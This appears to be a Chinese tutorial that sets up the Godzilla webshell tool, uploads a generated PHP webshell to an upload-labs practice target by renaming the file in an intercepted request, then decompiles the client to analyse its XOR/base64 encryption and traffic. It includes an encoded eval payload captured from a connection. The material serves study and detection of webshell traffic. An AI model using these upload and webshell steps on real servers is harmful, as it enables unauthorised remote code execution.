哥斯拉软件安装及使用
安装
项目地址:https://github.com/BeichenDream/Godzilla/releases
下载.jar
文件。
运行
1 | java -jar godzilla.jar |
靶场攻击
php搭建的网站和jsp搭建网站:
apache 服务器一般使用PHP搭建。tomcat 服务器一般使用jsp搭建。木马是要在服务器上自动执行,执行脚本,所以木马格式要与服务器的语言保持一致。比如php的网站,要用php的木马。
访问网站index.php,可以看出是php网站,生成php的马
使用upload的靶场
1 | docker search upload-labs |
使用哥斯拉生成一个木马
后续的实验,都会以该木马为例子。会分析PHP_EVAL_XOR_BASE64的加密方式
将哥斯拉生成的木马上传到靶场
挑一个靶场环境,比如第一个。burp拦截,改包,改成.php再发送。
将生成的木马shell.php
成功上传到目标主机。
哥斯拉连接
目标地址:http://ip:8080/upload/shell.php
反编译获得软件源码
JD-GUI 反编译下载工具
https://jd-gui.apponic.com/mac/
M1 系统报错:
右键JD-GUI,显示包内容
进入
Contents/MacOS
文件夹,打开universalJavaApplicationStub.sh
文件,使用新版的文件替换,新版文件内容可以在如下地址复制
双击打开软件,将需要反编译的jar包拖到软件界面中
选中全部文件,点击File-Save All Sources
保存反编译完的源码,选择保存路径
哥斯拉加密分析
全套的攻击流程
在客户端生成shell,生成shell的时候可以设置参数,包括:密码、密钥、有效载荷、加密器
密码:Post请求中的参数名称(本次实验的密码为passwd),以及用于和密钥一起进行加密运算。
密钥:用于对请求数据进行加密,不过加密过程中并非直接使用
密钥
明文,而是计算密钥
的md5值,然后取其前16位用于加密过程(本次实验的密钥为keymd,md5值为:083c7c062cb29c75499967759dcd2423)有效载荷分为ASP、java、php、c#四种类型的payload
加密器分为base64和raw、evalbase64三大类。
扰乱数据:用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征。
生成
shell.php
(文件名可自定义,根据选择的有效载荷不同,可以有jsp、php、aspx等文件格式),该shell.php
需要上传到攻击的目标主机上。- 这个文件,会出现在数据包的POST请求中。
- 该文件会将密码、密钥的md5值前16位明文写入。
- 该文件的实现功能还有:将密码和密钥进行拼接,然后进行md5的计算。一共32位。服务器端返回数据的时候,会进行拼接。即服务器端返回数据 = md5前16位+加密数据+md5后16位。(加密数据可以通过对服务器端的解密算法进行解密)
哥斯拉客户端进行连接
- URL是目标主机上的
shell.php
- 请求配置的参数,可以添加冗余数据,该冗余数据会在数据的正式内容的前后添加进去。
- URL是目标主机上的
连接成功后,进入shell便可以进行操作。
生成的shell
以PHP_EVAL_XOR_BASE64的加密方式为例。生成的木马shell.php
内容为
1 | <?php |
它的工作原理是,存在一个变量“passwd”,“passwd”的取值为http的post方式。web服务器对“passwd“取值后,然后通过eval()
函数执行“passwd”里面的内容。比如说,将该shell.php
的文件传入站点,以POST方式传入passwd=phpinfo();
。则页面会显示phpinfo的信息。
该变量“passwd”,是最开始生成shell,自己设置的密码。
抓包分析-查看“测试连接”操作会产生的数据包
设置代理,用burpsuite拦截,查看产生的数据包
会产生三个数据包。并且会设置PHPSESSID。
从数据包中可以发现。request中发送的数据包,是passwd=xxxx
的形式。根据生成木马shell.php
中的内容可知。web服务器对“passwd“取值后,然后通过eval()
函数执行“passwd”里面的内容。即实际操作内容是passwd后面一大串加密过的字符。
对第一个数据包进行分析追溯
连接时,功能代码部分在core/shell/ShellEntity.java
找到initShellOpertion()
函数
该方法首先初始化一个Http对象赋值给ShellEntity对象的http成员变量(每个ShellEntity对象都有自己的http成员变量, 用于各ShellEntity的Http请求)
, 然后初始化payloadModel 和 cryptionModel 对象。
运行的时候,会调用init
方法进行初始化。以及调用了test
函数,对状态进行了判断。所以进一步分析这两个函数。
因为代码是反编译过来的,所以不能直接用
ctrl
定位到方法的定义,需要手动去找。
init
方法 (路径shells/cryptions/phpXor/PhpEvalXor.java
init
中的变量ShellEntity shellContext
,为连接信息。 this.shell = context;
将webshell配置界面修改的内容同步到shellContext对象上。
1 | /* */ public ShellEntity(boolean useCache) { |
this.http = this.shell.getHttp();
其中getHttp()
函数获取到传入该方法的ShellEntity对象的http成员变量。
getHttp()
函数(路径core/shell/ShellEntity.java
1 | /* */ public Http getHttp() { |
this.key
这一行,是逐字节的获取密钥key。
this.pass
这一行,是逐字节的获取密码password。
String findStrMd5
这一行,是将密钥key和password加起来,已经进行md5的计算。
this.findStrLeft
这一行,是获取md5的前16位(生成的md5一共有32位)
this.findStrRight
这一行,是获取md5的后16位(生成的md5一共有32位)
this.evalContent
这一行,是进行了一套编码过程。经过了base64和url的编码处理和密钥的处理。
需要传入密钥、密钥md5的前16位,然后再放入eval函数中”<?php”
1 | /* */ public String generateEvalContent() { |
获取到http成员变量后, 因为该http成员变量有ShellEntity对象的相关信息, 包括连接url、代理、password、secretKey等内容, 即保存有对应的webshell配置信息, 因此可以直接对相关的webshell发起请求。通过 this.http.sendHttpResponse(this.payload);
发送了请求。 也就是第一个数据包。
对2、3数据包进行追溯(2、3数据包内容一样)
test
方法。test()
函数 是一个布尔型的。测试成功后,会返回true。if函数顺利运行,连接成功。
1 | /* */ public boolean test() { |
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
test()
的执行过程为:调用了evalFunc
函数。该函数将数据POST给服务器,并获得服务器的响应。
1 | byte[] result = evalFunc(null, "test", parameter); // 获得服务器的响应 |
将服务器的返回结果格式修改后,与ok对比,判断为ok则连接成功。
1 | String codeString = new String(result); |
说明在evalFunc
函数执行过程中,已经得到了明文的服务器返回数据,因此服务器返回报文的解密过程肯定是在evalFunc
函数中。
查看evalFunc
函数(路径shells/payloads/php/PhpShell.java
),通过this.http.sendHttpResponse(data).getResult();
发送了请求数据包,也就是第2、3个数据包。
1 | /* */ public byte[] evalFunc(String className, String funcName, ReqParameter parameter) { |
对sendHttpResponse相关的数据包请求方法进行分析
代码路径:util/http/Http.java
1 | /* */ public HttpResponse sendHttpResponse(Map<String, String> header, byte[] requestData, int connTimeOut, int readTimeOut) { |
该段代码调用了getCryptionModule()
对请求数据进行了加密,后面对数据部分进行了剥离,删除了加在真实数据左右两边的冗杂数据(shell设定时添加的多余数据)
加密函数分析
encode路径shells/cryptions/phpXor/PhpEvalXor.java
1 | /* */ public byte[] encode(byte[] data) { |
evalContent的内容是:👇
1 | /* */ public String generateEvalContent() { |
所以最终发送的数据包是拼接的,内容是:password密码=evalContent
+ 密钥key
+ =
+ 对要发送的数据先base64编码,再进行异或运算,再url编码
密码和密钥都是明文传输的,”=“ 也是明文传输
其中evalContent的内容格式是:
- 先在GenerateShellloder中寻找
<?php
并用" "
替换掉,也就是删除"<?php"
的功能, - 然后逐字节获取eval的内容进行base64编码后再转换为string类型的。
- 对eval先进行encode函数加密(按位异或),再进行url编码,得到的数据放入到格式
eval(base64_decode(strrev(urldecode('%s'))));
中,%s
为要填入数据的位置。 - 将第3步获得的数据,最终进行encode函数加密(按位异或),再进行url编码。最终得到的是evalContent
最后数据包的内容,根据evalFunc
可以发现,在数据包发送出去之后,还进行了gzip的压缩(路径 shells/payloads/php/PhpShell.java
)。所以要先对数据进行gzip解压缩,再所有数据进行解密
1 | /* */ public byte[] evalFunc(String className, String funcName, ReqParameter parameter) { |
数据包:
1 | passwd=eval%28base64_decode%28strrev%28urldecode%28%27%253DoQD9pQD9BCIgAiCN0HIgACIgACIgoQD7kSeltGJsEGdhRGJoUGZvNmbl1TXl1WYORWYvxWehBHJb50TJN1UFN1XkACIgACIgACIgACIgoQD7lSZzxWYm1TPhkiIvZmbJN3YpNXYCRXZnJCLhRXYkRCKz9GcyR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VWCJoQD9BCIgACIgACIK0wOpkXZrRCLkF2bslXYwRCKlR2bj5WZ9QWYvxWehBHJgACIgACIgACIgACIK0wepU2csFmZ90TPpIybm5WSzNWazFmQ0V2ZiwCZh9Gb5FGckgycvBnc0NHKgYWagACIgACIgAiCNsTK5V2akwSXl1WYORWYvxWehBHJb50TJN1UFN1XkgSZk92YuVWPkF2bslXYwRCIgACIgACIgoQD7lSKdVWbh5EZh9Gb5FGckslTPl0UTV0UfRCK0V2czlGKgYWagACIgoQD7kSeltGJskSXzNXYwRyWUN1TQ9FJoUGZvNWZk9FN2U2chJGKlR2bj5WZ9EGdhRGJgACIgoQD7lSKdN3chBHJbR1UPB1XkgCdlN3cphCImlmCNszJ1czY5IjYjJjNwM2NjNDOwcSP5V2akoQD7cCZh9Gb5FGcn0TZtFmTkF2bslXYwRiCNszJk1Welt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&keymd=VVYXXwxUeFMOBzA9Yzc1RF1AFw%3D%3D |
最终解密流程:
1 | 计算出 md5 (pass + key), 对响应包截取该md5后的前16位以及后16位 |